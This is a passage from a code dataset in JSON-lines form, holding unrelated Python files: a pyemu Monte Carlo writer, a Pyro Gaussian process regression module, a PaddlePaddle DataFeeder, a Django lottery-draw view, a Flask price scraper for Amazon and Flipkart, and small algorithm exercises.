This is useful for\n NSMC since this jco can be used to get the first set of\n parameter upgrades for free! Needs to be the path the jco\n file as seen from the location where pest++ will be run\n noptmax: int\n value of NOPTMAX to set in new pest control files\n Returns:\n -------\n None\n \"\"\"\n self.log(\"writing realized pest control files\")\n # get a copy of the pest control file\n pst = self.pst.get(par_names=self.pst.par_names,obs_names=self.pst.obs_names)\n\n if noptmax is not None:\n pst.control_data.noptmax = noptmax\n pst.control_data.noptmax = noptmax\n\n if existing_jco is not None:\n pst.pestpp_options[\"BASE_JACOBIAN\"] = existing_jco\n\n # set the indices\n pst.parameter_data.index = pst.parameter_data.parnme\n pst.observation_data.index = pst.observation_data.obsnme\n\n if self.parensemble.istransformed:\n par_en = self.parensemble._back_transform(inplace=False)\n else:\n par_en = self.parensemble\n\n for i in range(self.num_reals):\n pst_name = prefix + \"{0:d}.pst\".format(i)\n self.log(\"writing realized pest control file \" + pst_name)\n pst.parameter_data.loc[par_en.columns,\"parval1\"] = par_en.iloc[i, :].T\n\n # reset the regularization\n #if pst.control_data.pestmode == \"regularization\":\n #pst.zero_order_tikhonov(parbounds=True)\n #zero_order_tikhonov(pst,parbounds=True)\n # add the obs noise realization if needed\n if self.obsensemble.shape[0] == self.num_reals:\n pst.observation_data.loc[self.obsensemble.columns,\"obsval\"] = \\\n self.obsensemble.iloc[i, :].T\n\n # write\n pst.write(pst_name)\n self.log(\"writing realized pest control file \" + pst_name)\n self.log(\"writing realized pest control files\")\n\n\n","sub_path":"pyemu/mc.py","file_name":"mc.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"113650953","text":"def combination(elems, s, idx, res):\n for i in range(idx, len(elems)):\n s += elems[i]\n res.append(s)\n combination(elems, s, i+1, res)\n s = s[:-1]\n\n\nres = []\na = \"1234\"\ncombination(a, \"\" , 0, res)\nfor r in res:\n print(r,end=\"\\n\")\n\nprint(\"------\")\n\n\n#####################\n# N choose K\n\ndef combination2(start, n, k, res, allres):\n if k == 0:\n allres.append(res[:])\n return\n else:\n for i in range(start, n-(k-1) + 1):\n res.append(i)\n combination2(i+1, n, k-1, res, allres)\n res.pop()\n return\n\nn = 4\nk = 2\nres, allres = [], []\ncombination2(1, n, k, res, allres)\nprint(allres)","sub_path":"datastructures_algorithms/Array-Combinations-II.py","file_name":"Array-Combinations-II.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"628825767","text":"import random\nimport pickle\nimport numpy as np\n\n\nclass DataGenerator:\n def generator(self):\n with open('/home/yibing/Documents/course2018_1/dataset/optdigits/optdigits.tes') as f:\n data=[]\n for line in f:\n ls = line.split(',')\n feature = []\n for i in range(0,64):\n feature.append(float(ls[i]))\n label = float(ls[-1])\n data.append((feature,label))\n test_features = []\n test_labels = []\n for feature, label in data:\n test_features.append(feature)\n test_labels.append(label)\n test_features = np.array(test_features,dtype='float32')\n test_labels = np.array(test_labels,dtype='int64')\n\n with open('/home/yibing/Documents/course2018_1/dataset/optdigits/optdigits.tra') as f:\n data = []\n for line in f:\n ls = line.split(',')\n feature = []\n for i in range(0,64):\n feature.append(float(ls[i]))\n label = float(ls[-1])\n data.append((feature,label))\n\n train_features = []\n train_labels = []\n for feature,label in data:\n train_features.append(feature)\n train_labels.append(label)\n train_features = np.array(train_features,dtype='float32')\n train_labels = np.array(train_labels,dtype='int64')\n\n with open('data.pkl','wb') as f:\n pickle.dump({'test_features':test_features,\n 'test_labels':test_labels,\n 'train_features':train_features,\n 'train_labels':train_labels},f)\n\nif __name__==\"__main__\":\n dg = DataGenerator()\n dg.generator()","sub_path":"u6068252_code/dataset/data_generator_opt.py","file_name":"data_generator_opt.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"172352470","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n# Author: Li jinjing \n\ndef fib(n):\n if n <= 1: return n\n else:\n return fib(n-1) + fib(n-2)\n\n\n# 自顶向下:递归+记忆化搜索\ndef fib2(n):\n memo = [0]*(n+1)\n if n <= 1: return n\n # memo数组来进行记忆化搜索,斐波那契树上的子状态都从memo中取即可,如果计算过了就不再重复计算,计算过的memo[n]就不会等于0, 时间复杂度为线性的On\n if memo[n] == 0:\n memo[n] = fib(n-1) + fib(n-2)\n return memo[n]\n\nprint(fib2(5))\n\n\n# 自底向上\ndef fib3(n):\n if n == 0: return 0\n if 1 <= n <=2: return 1\n\n f1, f2 = 0, 1\n for i in range(2, n+1):\n f3 = f1 + f2\n f1 = f2\n f2 = f3\n return f3\n","sub_path":"Week_06/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"340963433","text":"from __future__ import absolute_import, division, print_function\n\nimport torch\nfrom torch.autograd import Variable\nfrom torch.distributions import constraints\nfrom torch.nn import Parameter\n\nimport pyro\nimport pyro.distributions as dist\nfrom pyro.distributions.util import matrix_triangular_solve_compat\n\nfrom .model import Model\n\n\nclass GPRegression(Model):\n \"\"\"\n Gaussian Process Regression module.\n\n References\n\n [1] `Gaussian Processes for Machine Learning`,\n Carl E. Rasmussen, Christopher K. I. Williams\n\n :param torch.autograd.Variable X: A 1D or 2D tensor of inputs.\n :param torch.autograd.Variable y: A 1D tensor of output data for training.\n :param pyro.contrib.gp.kernels.Kernel kernel: A Pyro kernel object.\n :param torch.Tensor noise: An optional noise parameter.\n \"\"\"\n def __init__(self, X, y, kernel, noise=None):\n super(GPRegression, self).__init__()\n self.X = X\n self.y = y\n self.kernel = kernel\n self.num_data = self.X.size(0)\n\n if noise is None:\n noise = self.X.data.new([1])\n self.noise = Parameter(noise)\n self.set_constraint(\"noise\", constraints.positive)\n\n def model(self):\n self.set_mode(\"model\")\n\n kernel = self.kernel\n noise = self.get_param(\"noise\")\n\n K = kernel(self.X) + noise.expand(self.num_data).diag()\n zero_loc = Variable(K.data.new([0])).expand(self.num_data)\n pyro.sample(\"y\", dist.MultivariateNormal(zero_loc, K), obs=self.y)\n\n def guide(self):\n self.set_mode(\"guide\")\n\n kernel = self.kernel\n noise = self.get_param(\"noise\")\n\n return kernel, noise\n\n def forward(self, Xnew, full_cov=False, noiseless=True):\n \"\"\"\n Computes the parameters of ``p(y*|Xnew) ~ N(loc, cov)`` w.r.t. the new input ``Xnew``.\n\n :param torch.autograd.Variable Xnew: A 1D or 2D tensor.\n :param bool full_cov: Predicts full covariance matrix or just its diagonal.\n :param bool noiseless: Includes noise in the prediction or not.\n :return: loc and covariance matrix of ``p(y*|Xnew)``.\n :rtype: torch.autograd.Variable and torch.autograd.Variable\n \"\"\"\n self._check_Xnew_shape(Xnew, self.X)\n\n kernel, noise = self.guide()\n\n Kff = kernel(self.X)\n Kff = Kff + noise.expand(self.num_data).diag()\n Kfs = kernel(self.X, Xnew)\n Lff = Kff.potrf(upper=False)\n\n pack = torch.cat((self.y.unsqueeze(1), Kfs), dim=1)\n Lffinv_pack = matrix_triangular_solve_compat(pack, Lff, upper=False)\n Lffinv_y = Lffinv_pack[:, 0]\n # W = inv(Lff) @ Kfs\n W = Lffinv_pack[:, 1:]\n\n # loc = Kfs.T @ inv(Kff) @ y\n loc = W.t().matmul(Lffinv_y)\n\n # cov = Kss - Ksf @ inv(Kff) @ Kfs\n if full_cov:\n Kss = kernel(Xnew)\n if not noiseless:\n Kss = Kss + noise.expand(Xnew.size(0)).diag()\n Qss = W.t().matmul(W)\n cov = Kss - Qss\n else:\n Kssdiag = kernel(Xnew, diag=True)\n if not noiseless:\n Kssdiag = Kssdiag + noise.expand(Xnew.size(0))\n Qssdiag = (W ** 2).sum(dim=0)\n cov = Kssdiag - Qssdiag\n\n return loc, cov\n","sub_path":"pyro/contrib/gp/models/gpr.py","file_name":"gpr.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"151370213","text":"# Copyright (c) 2021 OpenKS Authors, DCD Research Lab, Zhejiang University. \n# All Rights Reserved.\n\nimport six\n\nfrom paddle.fluid import core\nfrom paddle.fluid.framework import Variable, default_main_program, _current_expected_place\nfrom paddle.fluid.framework import _cpu_num, _cuda_ids\nfrom paddle.fluid.data_feeder import DataToLoDTensorConverter\n\nclass DataFeeder(object):\n \"\"\"\n DataFeeder converts the data that returned by a reader into a data\n structure that can feed into Executor. The reader is usually a\n python generator that returns a list of mini-batch data entries.\n\n Parameters:\n feed_list (list): Variables or names of Variables that need\n to feed.\n place (:ref:`api_fluid_CPUPlace` | :ref:`api_fluid_CUDAPlace` ):\n place indicates the device (CPU | GPU) the data will be fed into, if\n you want to feed data into GPU, please using :code:`fluid.CUDAPlace(i)`\n (:code:`i` represents the GPU id), or if you want to feed data into CPU,\n please using :code:`fluid.CPUPlace()`.\n program (:ref:`api_fluid_Program` , optional): The Program that will\n feed data into, if program is None, it will use default_main_program().\n Default None.\n\n Raises:\n :code:`ValueError` - If some Variables are not in this Program.\n\n Example:\n .. code-block:: python\n\n import numpy as np\n import paddle\n import paddle.fluid as fluid\n\n place = fluid.CPUPlace()\n def reader():\n for _ in range(4):\n yield np.random.random([4]).astype('float32'), np.random.random([3]).astype('float32'),\n\n main_program = fluid.Program()\n startup_program = fluid.Program()\n\n with fluid.program_guard(main_program, startup_program):\n data_1 = fluid.data(name='data_1', shape=[None, 2, 2], dtype='float32')\n data_2 = fluid.data(name='data_2', shape=[None, 1, 3], dtype='float32')\n out = fluid.layers.fc(input=[data_1, data_2], size=2)\n # ...\n feeder = fluid.DataFeeder([data_1, data_2], place)\n\n exe = fluid.Executor(place)\n exe.run(startup_program)\n\n feed_data = feeder.feed(reader())\n\n # print feed_data to view feed results\n # print(feed_data['data_1'])\n # print(feed_data['data_2'])\n\n outs = exe.run(program=main_program,\n feed=feed_data,\n fetch_list=[out])\n print(outs)\n\n \"\"\"\n\n def __init__(self, feed_list, place, program=None):\n self.feed_dtypes = []\n self.feed_names = []\n self.feed_shapes = []\n self.feed_lod_level = []\n if program is None:\n program = default_main_program()\n for each_var in feed_list:\n if isinstance(each_var, six.string_types):\n each_var = program.block(0).var(each_var)\n if not isinstance(each_var, Variable):\n raise TypeError(\"Feed list should contain a list of variable\")\n self.feed_dtypes.append(each_var.dtype)\n self.feed_names.append(each_var.name)\n self.feed_lod_level.append(each_var.lod_level)\n self.feed_shapes.append(each_var.shape)\n\n self.place = place\n\n def feed(self, iterable):\n \"\"\"\n According to :code:`feed_list` of :code:`DataFeeder` and :code:`iterable` , converts\n the input into a data structure that can feed into Executor.\n\n Parameters:\n iterable (generator): user defined python generator to read the raw input data\n\n Returns:\n :code:`dict`: a :code:`dict` that contains (variable name - converted tensor) pairs\n\n Example:\n .. code-block:: python\n\n # In this example, reader - generator will return a list of ndarray of 3 elements\n # feed API will convert each ndarray input into a tensor\n # the return result is a dict with keys: data_1, data_2, data_3\n # result['data_1'] a LoD-Tensor with shape of [5, 2, 1, 3]. 5 is batch size, and [2, 1, 3] is the real shape of data_1.\n # result['data_2'], result['data_3'] are similar.\n import numpy as np\n import paddle.fluid as fluid\n\n def reader(limit=5):\n for i in range(1, limit + 1):\n yield np.ones([6]).astype('float32') * i , np.ones([1]).astype('int64') * i, np.random.random([9]).astype('float32')\n\n data_1 = fluid.data(name='data_1', shape=[None, 2, 1, 3])\n data_2 = fluid.data(name='data_2', shape=[None, 1], dtype='int64')\n data_3 = fluid.data(name='data_3', shape=[None, 3, 3], dtype='float32')\n feeder = fluid.DataFeeder(['data_1','data_2', 'data_3'], fluid.CPUPlace())\n\n\n result = feeder.feed(reader())\n print(result['data_1'])\n print(result['data_2'])\n print(result['data_3'])\n\n \"\"\"\n converter = []\n for lod_level, shape, dtype in six.moves.zip(\n self.feed_lod_level, self.feed_shapes, self.feed_dtypes):\n converter.append(\n DataToLoDTensorConverter(\n place=self.place,\n lod_level=lod_level,\n shape=shape,\n dtype=dtype))\n\n for each_sample in iterable:\n assert len(each_sample) == len(converter), (\n \"The number of fields in data (%d) does not match \" +\n \"len(feed_list) (%d)\") % (len(each_sample), len(converter))\n for each_converter, each_slot in six.moves.zip(converter,\n each_sample):\n each_converter.feed(each_slot)\n ret_dict = {}\n for each_name, each_converter in six.moves.zip(self.feed_names,\n converter):\n ret_dict[each_name] = each_converter.done()\n return ret_dict\n\n def feed_parallel(self, iterable, num_places=None):\n \"\"\"\n Similar with feed function, feed_parallel is used with multiple devices (CPU|GPU).\n Here :code:`iterable` is a list of python generators. The data return by each\n generator in the list will be fed into a separate device.\n\n Parameters:\n iterable (list|tuple): list of user-defined python generators. The element\n number should match the :code:`num_places`.\n num_places (int, optional): the number of devices. If not provided (None),\n all available devices on the machine will be used. Default None.\n\n Returns:\n :code:`generator`: a :code:`generator` that generate dict which contains (variable name - converted tensor) pairs,\n the total number of dicts will be generated matches with the :code:`num_places`\n\n .. note::\n The number of devices - :code:`num_places` should equal to the generator (element of :code:`iterable` ) number\n\n Example:\n .. code-block:: python\n\n import numpy as np\n import paddle.fluid as fluid\n\n def generate_reader(batch_size, base=0, factor=1):\n def _reader():\n for i in range(batch_size):\n yield np.ones([4]) * factor + base, np.ones([4]) * factor + base + 5\n return _reader()\n\n x = fluid.data(name='x', shape=[None, 2, 2])\n y = fluid.data(name='y', shape=[None, 2, 2], dtype='float32')\n\n z = fluid.layers.elementwise_add(x, y)\n\n feeder = fluid.DataFeeder(['x','y'], fluid.CPUPlace())\n place_num = 2\n places = [fluid.CPUPlace() for x in range(place_num)]\n data = []\n exe = fluid.Executor(fluid.CPUPlace())\n exe.run(fluid.default_startup_program())\n program = fluid.CompiledProgram(fluid.default_main_program()).with_data_parallel(places=places)\n\n # print sample feed_parallel r result\n # for item in list(feeder.feed_parallel([generate_reader(5, 0, 1), generate_reader(3, 10, 2)], 2)):\n # print(item['x'])\n # print(item['y'])\n\n reader_list = [generate_reader(5, 0, 1), generate_reader(3, 10, 2)]\n res = exe.run(program=program, feed=list(feeder.feed_parallel(reader_list, 2)), fetch_list=[z])\n print(res)\n\n \"\"\"\n if isinstance(self.place, core.CUDAPlace):\n places = [\n core.CUDAPlace(i)\n for i in six.moves.xrange(\n self._get_number_of_places_(num_places))\n ]\n else:\n places = [\n core.CPUPlace()\n for _ in six.moves.xrange(\n self._get_number_of_places_(num_places))\n ]\n\n if len(iterable) != len(places):\n raise ValueError(\"feed_parallel takes multiple mini-batches. Each \"\n \"mini-batch will be feed on each device. The \"\n \"number of devices and number of mini-batches \"\n \"must be same.\")\n\n place = self.place\n for p, batch in six.moves.zip(places, iterable):\n self.place = p\n yield self.feed(batch)\n self.place = place\n\n def _get_number_of_places_(self, num_places):\n if num_places is not None:\n return int(num_places)\n elif isinstance(self.place, core.CUDAPlace):\n return len(_cuda_ids())\n else:\n return _cpu_num()\n\n def decorate_reader(self,\n reader,\n multi_devices,\n num_places=None,\n drop_last=True):\n \"\"\"\n Decorate the reader (generator) to fit multiple devices. The reader generate\n multiple mini-batches. Each mini-batch will be fed into a single device.\n\n Parameters:\n reader(generator): a user defined python generator used to get :code:`mini-batch` of data.\n A :code:`mini-batch` can be regarded as a python generator that returns batches of input\n entities, just like the below :code:`_mini_batch` in the code example.\n multi_devices(bool): indicate whether to use multiple devices or not.\n num_places(int, optional): if :code:`multi_devices` is True, you can specify the number\n of devices(CPU|GPU) to use, if multi_devices is None, the function will use all the\n devices of the current machine. Default None.\n drop_last(bool, optional): whether to drop the last round of data if it is not enough to\n feed all devices. Default True.\n\n Returns:\n :code:`generator`: a new :code:`generator` which return converted dicts that can be fed into Executor\n\n Raises:\n :code:`ValueError`: If drop_last is False and the data cannot fit devices perfectly.\n\n Example:\n .. code-block:: python\n\n import numpy as np\n import paddle\n import paddle.fluid as fluid\n import paddle.fluid.compiler as compiler\n\n def reader():\n def _mini_batch(batch_size):\n for i in range(batch_size):\n yield np.random.random([16]).astype('float32'), np.random.randint(10, size=[1])\n\n for _ in range(10):\n yield _mini_batch(np.random.randint(1, 10))\n\n place_num = 3\n places = [fluid.CPUPlace() for _ in range(place_num)]\n\n # a simple network sample\n data = fluid.data(name='data', shape=[None, 4, 4], dtype='float32')\n label = fluid.data(name='label', shape=[None, 1], dtype='int64')\n hidden = fluid.layers.fc(input=data, size=10)\n\n feeder = fluid.DataFeeder(place=places[0], feed_list=[data, label])\n reader = feeder.decorate_reader(reader, multi_devices=True, num_places=3, drop_last=True)\n\n exe = fluid.Executor(places[0])\n exe.run(fluid.default_startup_program())\n compiled_prog = compiler.CompiledProgram(\n fluid.default_main_program()).with_data_parallel(places=places)\n\n for i,data in enumerate(reader()):\n # print data if you like\n # print(i, data)\n ret = exe.run(compiled_prog, feed=data, fetch_list=[hidden])\n print(ret)\n\n \"\"\"\n\n def __reader_creator__():\n if not multi_devices:\n for item in reader():\n yield self.feed(item)\n else:\n num = self._get_number_of_places_(num_places)\n item = []\n for batch in reader():\n item.append(batch)\n if len(item) == num:\n yield list(self.feed_parallel(item, num))\n item = []\n if not drop_last and len(item) != 0:\n raise ValueError(\n \"The data batch which cannot fit for devices will be \"\n \"dropped is not implementation. Other strategies are \"\n \"not implemented\")\n\n return __reader_creator__\n","sub_path":"openks/distributed/quick-start/datafeeder2.py","file_name":"datafeeder2.py","file_ext":"py","file_size_in_byte":13781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"259617889","text":"from __future__ import (absolute_import, division, print_function,\n unicode_literals)\nimport unittest\nfrom ggplot import *\n\nclass TestGeomHistogram(unittest.TestCase):\n\n def test_geom_histogram(self):\n gghist = ggplot(meat, aes(x='veal')) + geom_histogram()\n self.assertTrue(type(gghist) == ggplot)\n print(gghist)\n\n def test_binwidth(self):\n gghist = ggplot(meat, aes(x='veal')) + geom_histogram(binwidth=10)\n print(gghist)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_geom_histogram.py","file_name":"test_geom_histogram.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"631188033","text":"#!/usr/bin/env python3\n# -*- mode: python -*-\n# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render\nimport random\nimport zipfile\nfrom .EuroMillions import EuroMillions\n\nfrom urllib.request import urlopen\nimport os\nimport datetime\n\n\n# Create your views here.\ndef EuroWeb(request):\n # Calcul de la date du jour\n maintenant = datetime.datetime.now()\n \n datejour = \"%02d/%02d/%04d\" % (maintenant.day, maintenant.month, maintenant.year)\n heurejour = \"%02d:%02d\" % (maintenant.hour, maintenant.minute)\n \n \n \n try:\n # Suppression du fichier zippe s'il existe\n if os.path.isfile('static/tirages/euromillions_3.zip'):\n os.remove('static/tirages/euromillions_3.zip')\n \n # Rapatriement du fichier ZIP depuis le site Française des Jeux\n url = 'https://media.fdj.fr/generated/game/euromillions/euromillions_3.zip'\n with open('static/tirages/euromillions_3.zip', 'wb') as fichierZip:\n fichierZip.write(urlopen(url).read()) \n \n # Suppression du fichier euromillions_3.csv s'il existe\n if os.path.isfile('static/tirages/euromillions_3.csv'):\n os.remove('static/tirages/euromillions_3.csv')\n \n # Dezippage du fichier telecharge\n with zipfile.ZipFile('static/tirages/euromillions_3.zip') as zf:\n path = 'static/tirages/'\n zf.extract('euromillions_3.csv', path)\n \n \n except IOError:\n print('Le fichier n existe pas') \n \n \n boule1 = random.randint(1, 50)\n boule2 = random.randint(1, 50)\n boule3 = random.randint(1, 50)\n boule4 = random.randint(1, 50)\n boule5 = random.randint(1, 50)\n \n etoile1 = random.randint(1, 11)\n etoile2 = random.randint(1, 11) \n \n while boule2 == boule1:\n boule2 = random.randint(1, 50)\n \n while boule3 == boule1 or boule3 == boule2:\n boule3 = random.randint(1, 50)\n \n while boule4 == boule1 or boule4 == boule2 or boule4 == boule3:\n boule4 = random.randint(1, 50)\n \n while boule5 == boule1 or boule5 == boule2 or boule5 == boule3 or boule5 == boule4:\n boule5 = random.randint(1, 50)\n \n while etoile2 == etoile1:\n etoile2 = random.randint(1, 11) \n \n \n tirage = EuroMillions(boule1, boule2, boule3, boule4, boule5, etoile1, etoile2) \n \n \n boulesProchainTirage = str(boule1) + ' ' + str(boule2) + ' ' + str(boule3) + ' '\n boulesProchainTirage = boulesProchainTirage + str(boule4) + ' ' + str(boule5)\n etoilesProchainTirage = str(etoile1) + ' ' + str(etoile2) \n \n # Tirage aleatoire\n boule1 = \"/static/EuroWeb/images/\" + str(boule1)\n boule2 = \"/static/EuroWeb/images/\" + str(boule2)\n boule3 = \"/static/EuroWeb/images/\" + str(boule3)\n boule4 = \"/static/EuroWeb/images/\" + str(boule4)\n boule5 = \"/static/EuroWeb/images/\" + str(boule5)\n \n etoile1 = \"/static/EuroWeb/images/\"+ \"e\" + str(etoile1)\n etoile2 = \"/static/EuroWeb/images/\"+ \"e\" + str(etoile2)\n \n if tirage.getDateTirage() == '':\n resultatTirage = \"Ce tirage n'est jamais sorti\"\n else :\n resultatTirage = 'Tire le : ' + tirage.getDateTirage()\n \n \n if tirage.getDateMaxBoulesEtoiles() == '':\n messageBoulesEtoiles = 'Aucun tirage partiel'\n else:\n messageBoulesEtoiles = str(tirage.getMaxBoules()) + ' boules et ' + str(tirage.getMaxEtoiles()) + ' etoiles le '\n messageBoulesEtoiles = messageBoulesEtoiles + str(tirage.getDateMaxBoulesEtoiles())\n \n \n # Dernier tirage reel\n boule1dernier = \"/static/EuroWeb/images/\" + str(tirage.getBoule1DernierTirage())\n boule2dernier = \"/static/EuroWeb/images/\" + str(tirage.getBoule2DernierTirage())\n boule3dernier = \"/static/EuroWeb/images/\" + str(tirage.getBoule3DernierTirage())\n boule4dernier = \"/static/EuroWeb/images/\" + str(tirage.getBoule4DernierTirage())\n boule5dernier = \"/static/EuroWeb/images/\" + str(tirage.getBoule5DernierTirage())\n \n etoile1dernier = \"/static/EuroWeb/images/\" + \"e\" + str(tirage.getEtoile1DernierTirage())\n etoile2dernier = \"/static/EuroWeb/images/\" + \"e\" + str(tirage.getEtoile2DernierTirage())\n \n dateDernierTirage = tirage.getDateDernierTirage()\n nombreGagnantsFrance = tirage.getDernierNombreGagnantFranceRang1()\n nombreGagnantsEurope = tirage.getDernierNombreGagnantEuropeRang1()\n rapportRang1 = tirage.getDernierRapportRang1()\n numeroMyMillion = tirage.getDernierNumeroMyMillion() \n \n \n \n return render(request, 'euroweb/euroweb.html', locals())","sub_path":"EuroWeb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"290087560","text":"import socketio\r\nfrom selectorlib import Extractor\r\nimport requests\r\nfrom time import sleep\r\nfrom flask import Flask, render_template, request\r\nfrom requests_html import HTMLSession\r\nfrom requests_html import AsyncHTMLSession\r\nimport asyncio\r\n\r\nheaders1 = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\r\n 'Chrome/58.0.3029.110 Safari/537.3'}\r\nheaders2 = {\r\n 'dnt': '1',\r\n 'upgrade-insecure-requests': '1',\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',\r\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n 'sec-fetch-site': 'same-origin',\r\n 'sec-fetch-mode': 'navigate',\r\n 'sec-fetch-user': '?1',\r\n 'sec-fetch-dest': 'document',\r\n 'referer': 'https://www.flipkart.com',\r\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',\r\n }\r\n# Create an Extractor by reading from the YAML file\r\n# loop = asyncio.get_event_loop()\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template(\"index1.html\")\r\n\r\n\r\nimage_data = []\r\n\r\n\r\nasync def add_images_urls(data, url):\r\n i = 0\r\n # session = HTMLSession()\r\n # response = session.get(url)\r\n # response.html.render(sleep=1, scrolldown=20)\r\n asession = AsyncHTMLSession()\r\n r = await asession.get(url)\r\n await r.html.arender(sleep=1, scrolldown=20)\r\n response = r.html.raw_html\r\n div = response.html.find('._1UoZlX')\r\n for image in div:\r\n img = image.find('img', first=True)\r\n img_src = img.attrs['src']\r\n image_data.append(img_src)\r\n\r\n for product in data.values():\r\n for item in product:\r\n item['url'] = 'https://www.flipkart.com' + item['url']\r\n if i < len(image_data):\r\n item['image'] = image_data[i]\r\n i += 1\r\n return data\r\n\r\n\r\n@app.route('/', methods=['POST'])\r\ndef scrape():\r\n e1 = Extractor.from_yaml_file('search_result.yml')\r\n e2 = Extractor.from_yaml_file('flip_results.yml')\r\n text = request.form.get(\"search_bar\")\r\n print(text)\r\n url1 = \"https://www.amazon.in/s?k={0}&rh=n%3A1375424031&ref=nb_sb_noss\".format(text)\r\n url2 = \"https://www.flipkart.com/search?q={0}&sid=6bo%2Cb5g&as=on&as-show=on&otracker=AS_QueryStore_HistoryAutoSuggest_1_7_na_na_na&otracker1=AS_QueryStore_HistoryAutoSuggest_1_7_na_na_na&as-pos=1&as-type=HISTORY&suggestionId=macbook+pro%7CLaptops&requestId=4b1460e8-fcf5-4369-a655-a2501be025a8&as-backfill=on\".format(text)\r\n r1 = requests.get(url1, headers=headers1)\r\n r2 = requests.get(url2, headers=headers2)\r\n sleep(2)\r\n data1 = e1.extract(r1.text)\r\n data2 = e2.extract(r2.text)\r\n product_title1 = []\r\n product_price1 = []\r\n product_img1 = []\r\n product_url1 = []\r\n product_title2 = []\r\n product_price2 = []\r\n product_img2 = []\r\n product_url2 = []\r\n i = 0\r\n\r\n for product1 in data1.values():\r\n for item1 in product1:\r\n product_title1.append(item1['title'])\r\n product_price1.append(item1['price'])\r\n product_img1.append(item1['image'])\r\n new_url1 = 'https://www.amazon.in' + item1['url']\r\n product_url1.append(new_url1)\r\n\r\n asyncio.set_event_loop(asyncio.SelectorEventLoop())\r\n data3 = asyncio.get_event_loop().run_until_complete(add_images_urls(data2, url2))\r\n # data3 = asyncio.run(add_images_urls(data2, url2))\r\n # data3 = await add_images_urls(data2, url2)\r\n # data3 = loop.run_until_complete(add_images_urls(data2, url2))\r\n # data3 = add_images_urls(data2, url2)\r\n for product2 in data3.values():\r\n for item2 in product2:\r\n product_title2.append(item2['title'])\r\n product_price2.append(item2['price'])\r\n product_img2.append(item2['image'])\r\n product_url2.append(item2['url'])\r\n # new_url2 = 'https://www.flipkart.com' + item2['url']\r\n # product_url2.append(new_url2)\r\n\r\n\r\n # session = HTMLSession()\r\n # response = session.get(url2)\r\n # response.html.render(sleep=1, scrolldown=20)\r\n # # Container for each product being displayed\r\n # div = response.html.find('._1UoZlX')\r\n # for image in div:\r\n # img = image.find('img', first=True)\r\n # img_src = img.attrs['src']\r\n # product_img2.append(img_src)\r\n\r\n return render_template(\"index2.html\", title1=product_title1, price1=product_price1, img1=product_img1,\r\n url1=product_url1, title2=product_title2, price2=product_price2, img2=product_img2, url2=product_url2)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # socketio.run(app)\r\n app.run(debug=False)\r\n\r\n\r\n","sub_path":"results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"193750685","text":"prev_code = 0\nprev_reg = 'initial text\\n'\nfirst = 1\ncapacity = 1\nstreak = False\nresult = []\nwith open('/home/mekkanizer/Kody_DEF-9kh.csv',\n mode='r', buffering=-1, encoding='cp1251') as csv:\n for line in csv:\n fields = line.split(';')\n # for el in fields:\n # print(el)\n # 0 1 2 3 4 5\n # Код От До Емкость Оператор Регион\n if (fields[0] == prev_code) and (fields[5] == prev_reg):\n capacity += int(fields[3])\n if not streak:\n streak = True\n else:\n if streak:\n streak = False\n capacity += int(fields[3])\n else:\n row = ('{0}{1};{2};{3}'.format\n (prev_code, first, str(capacity), prev_reg))\n result.append(row)\n first = fields[1]\n capacity = int(fields[3])\n prev_code = fields[0]\n prev_reg = fields[5]\n del result[0]\n with open('/home/mekkanizer/fixed.csv', 'w') as output:\n for row in result:\n output.write(row)\n","sub_path":"rossvyaz/unite_dupes.py","file_name":"unite_dupes.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"637438359","text":"#\n# @lc app=leetcode id=216 lang=python3\n#\n# [216] Combination Sum III\n#\n\n# @lc code=start\n\nfrom curses.ascii import NL\n\n\nclass Solution:\n def combinationSum3(self, k: int, n: int) -> 'List[List[int]]':\n bottom_val = int((1 + k) * k / 2)\n if n < bottom_val:\n return list()\n\n ans = list()\n def backtrack(path, lo, hi):\n if sum(path) > n or len(path) > k:\n return \n\n if sum(path) == n and len(path) == k:\n ans.append(path)\n return\n\n # for x in range(lo, hi - (k - len(path)) + 2):\n for x in range(lo, hi+1):\n if x > n:\n break\n backtrack(path+[x], x+1, hi)\n\n backtrack([], 1, 9)\n return ans\n\n# @lc code=end\n\nans = Solution().combinationSum3(3,9)\nprint(ans)\n","sub_path":"solutions/back-tracking/216.combination-sum-iii.py","file_name":"216.combination-sum-iii.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"499194833","text":"# %% md\n\n## 